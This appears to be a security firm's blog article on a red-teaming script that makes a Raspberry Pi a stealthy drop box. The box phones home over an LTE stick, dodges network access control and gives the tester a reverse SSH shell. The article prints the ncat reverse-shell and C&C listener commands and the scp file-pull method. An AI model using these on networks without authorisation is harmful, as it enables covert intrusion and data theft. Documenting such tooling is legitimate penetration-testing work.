I want a "Red Teaming"
Michael Schneider
How to use Raspberry Pi for stealthy Remote Access
The script phone_home.sh
presented in this article is intended to be run on a device such as a Raspberry Pi. Its job is to reliably establish and maintain a communication channel for the Penetration Tester to access the device. The script can be found on our GitHub page.
In its default configuration the script will try to use an active UMTS device to phone home, such as the Huawei e3372 LTE stick which we used for testing. In a first step, the script starts a wireless hotspot using hostapd
. So even if phoning home over a broadband connection fails, the Raspberry Pi can still be accessed as long as it’s possible to work in its vicinity.
Next, the script checks if any interface to phone home on is available. To prevent the script from phoning home on an interface which may be NAC-restricted or otherwise monitored, only interfaces with whitelisted MAC addresses are used. If no whitelisted interface is found or a whitelisted interface is lost, the script checks for a new interface every 5 seconds. This allows for flexible hotplugging of whitelisted devices after the Raspberry Pi is already deployed and script execution has begun. After an interface is found, the script currently configures it with dhclient
. With active UMTS devices such as the Huawei e3372 or even wireless ones such as the Huawei E5577 which run their own DHCP server and do NAT, this is the desired procedure.
To make the script flexible, the interface configuration, like other tasks, is contained in its own function conf_iface
which can be easily swapped out in the main routine.
In a next step the script adds static routes for all configured hosts to phone home to. These home locations are also whitelisted in the iptables OUTPUT chain of the filter table to prevent the pentester from being locked out when using the NAC bypass script. Finally, the script tries to connect to each configured home location.
The control channel is designed to use SSH, for both the big security and usability benefits it offers over other mechanisms. One problem encountered is that the home location cannot connect to the Raspberry Pi on demand first because many commercial active UMTS devices use NAT. At first it appeared the only way to serve an SSH shell in a host behind NAT is by remote port forwarding. This would require the Raspberry Pi to first SSH into the home location, and then forward the remote port. This is not a viable solution because the Raspberry Pi is deployed unsupervised in a potentially hostile environment. An individual could find the Raspberry Pi and use the private keys present on the device to ssh into the C&C server, which would be catastrophic.
Here, SSH’s ProxyCommand
option comes into play. The ProxyCommand directive can take anything that reads SSH data from its stdin
and writes returning data to its stdout
. So as long as the data reaches an SSH server somewhere on the other end, an SSH connection should be possible. The script attempts to connect to the home location with the following command:
ncat $_host $_port --wait 10 --sh-exec "ncat 127.0.0.1 $SSHD_PORT"
We can receive the connection with this command on the C&C server:
ssh -o "ProxyCommand ncat -vlp <port>" <user>@localhost
SSH isn’t involved in establishing the TCP connection with the remote host so we can just supply it localhost
. Once the ncat
instance on the Raspberry Pi connects to the ncat
listener on the C&C server, it executes another ncat
instance which connects to the local SSH server to which it forwards all traffic data. Now all SSH traffic is tunneled through our TCP connection and we have a reverse SSH shell from an untrusted device (the Raspberry Pi) through NAT with no need for private keys on the Raspberry Pi.
The script checks all configured home locations every 60 seconds and connects to the first one which is available. To do this it only sends a TCP SYN without completing the handshake to avoid closing the remote listener:
[[ -n $(hping3 --syn -c 3 $_host -p $_port | grep -m 1 -io "flags=SA") ]] && ncat $_host $_port --wait 10 --sh-exec "ncat 127.0.0.1 $SSHD_PORT"
Another functionality is the monitoring of USB devices. When an unexpected USB device is detected, the Raspberry Pi shuts down. This is a rudimentary security feature that is rather more designed to prevent low threats from poking around inside the device if they find it. Nothing prevents anyone from taking out the Raspberry Pi’s SD card and examining its contents on another device. This functionality may be removed again at a later point because the shutting down of the device may be an inconvenience to the penetration tester and not be worth the non-existent security benefit it offers. This feature is not activated by default.
Throughout the script checks and retries are implemented to add resilience against seemingly random failures encountered during testing such as UMTS stick registration failures or dropped packets due to the UMTS stick suspending after short periods of inactivity.
The script takes no command line arguments because it is designed to be run at boot. There is a companion script prep.sh
which can be run on Debian-based systems to install the necessary packages from the repos and write configuration files for hostapd
and udhcpd
(Busybox version of DHCP server for ARM devices). This should only have to be run once during device setup.
Variables in a configuration file can be modified to configure the scripts behavior. The configuration file is just a list of bash-syntax variable definitions which are imported at runtime. The configuration is imported by both phone_home.sh and prep.sh and eliminates the need for changing identical variables in both scripts.
For a minimal setup of the phone_home.sh script, following variables should be set:
MACS
: Indexed array of MAC addresses of whitelisted devices which may be used to phone home withHOMES
: Indexed array of home locations in the form of ip:port
per array elementSSHD_PORT
: Port of the SSH server on the Raspberry PiTo enable the wireless hotspot as a fallback, set DISABLE_HOTSPOT
to 0
and set the WIRELESS_IFACE
variable to the name of your wireless interface.
To use the simple USB monitoring feature, just plug in the USB devices that are supposed to be whitelisted and paste the full output of lsusb
into the GOOD_USB
variable. Set USB_DEBUG
to 1
for testing.
To pull files off the device, scp
can be used with the same method as with ssh.
scp -o "ProxyCommand ncat -vlp <port>" <user>@localhost:/<remote_source>/ /<local_target>
Again, the script tries to connect to every configured C&C host and port combination configured in 60 second intervals. If an existing SSH session is active, the script pauses connection retries. In this case, the same command as in the script can be called manually:
ncat -v <ip> <port> --sh-exec "ncat 127.0.0.1 <SSHD_PORT>"
During testing with the Huawei e3372 the established SSH sessions froze after a few minutes of inactivity due to the UMTS stick suspending. The stick cannot be woken up with external traffic. Thus, the SSH session cannot be reactivated once the stick is suspended. To avoid this, the ServerAliveInterval
option can be used with ssh to act as a keepalive:
ssh -o "ProxyCommand ncat -vlp <port>" -o "ServerAliveInterval 20" <user>@localhost
This example sends a message through the encrypted channel to request a response from SSH ssh server after no data has been received for 20 seconds, fitting our need perfectly. After closing the SSH session, the script will continue to check for open listeners every 60 seconds.
Deploying an unsupervised device comes with its own risks and challenges. First, the Raspberry Pi cannot be encrypted because it has to be able to boot autonomously. Luckily we managed to not store any private keys on the device. To store any sensitive data, an encrypted volume should be used after SSH’ing into the Raspberry Pi.
Allocate some space to a file and format it as an encrypted volume:
$ fallocate -l 5G crypted
# cryptsetup luksFormat crypted
Open it and mount it somewhere, for example your home directory:
# cryptsetup luksOpen crypted crypthome # mount /dev/mapper/crypthome /<homedir>/
This can be accomplished easily by running a simple script located in the user’s home directory:
#!/bin/bash cryptsetup luksOpen /root/crypted crypthome mount -o rw,nodelalloc /dev/mapper/crypthome $HOME exec bash
This assumes the encrypted volume is /root/crypted
. One should keep in mind that everything outside the encrypted volume cannot be trusted strictly speaking. Especially after events such as a long shutdown of the Raspberry Pi, where the SD card could have been removed and its contents modified.
Even contents of the encrypted volume cannot be trusted, since they can be modified just the same after opening the volume if the rest of the system is compromised. To minimize the risk of the compromise affecting devices other than the Raspberry Pi, SSH agent forwarding should be disabled. SSH agent forwarding is useful because it allows for host 0 to SSH into host 1, and then continue to SSH into host 2 from host 1. Host 2’s authentication request is forwarded through host 1 back to host 0. The authentication succeeds seamlessly depending on the agent used. If the Raspberry Pi is compromised, agent forwarding can be abused to SSH into any host which has your public keys configured.
To minimize downtime of another Device which previously occupied a network port, traffic to one interface should automatically be forwarded to the second interface. This assumes we have 3 interfaces, 2 of which are not associated with the Control Channel to the C&C Server.
Our experts will get in contact with you!
Michael Schneider
Marisa Tschopp
Michèle Trebo
Andrea Covello
Our experts will get in contact with you!